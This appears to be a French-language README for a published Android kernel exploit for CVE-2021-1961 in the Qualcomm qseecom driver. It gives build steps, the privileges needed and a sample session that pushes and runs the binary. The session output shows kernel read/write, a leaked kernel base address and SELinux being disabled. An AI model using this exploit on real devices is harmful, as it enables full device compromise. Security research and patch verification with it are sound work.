
Exploit code for CVE-2021-1961
Code d'exploitation pour CVE-2021-1961. L'article complet est disponible sur mon blog.
Pour compiler l'exploit, exécutez ndk-build du NDK Android.
Pour exécuter l'exploit, vous devez avoir accès à /dev/qseecom, ce qui
nécessite d'avoir le bon utilisateur/groupe et le bon contexte SELinux. Cela peut
être fait soit sur une image de débogage en utilisant la commande su system, soit sur une image stock patchée avec Magisk en utilisant la commande
su - system.
Voici un exemple d'exécution de l'exploit sur une image stock patchée avec Magisk :
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive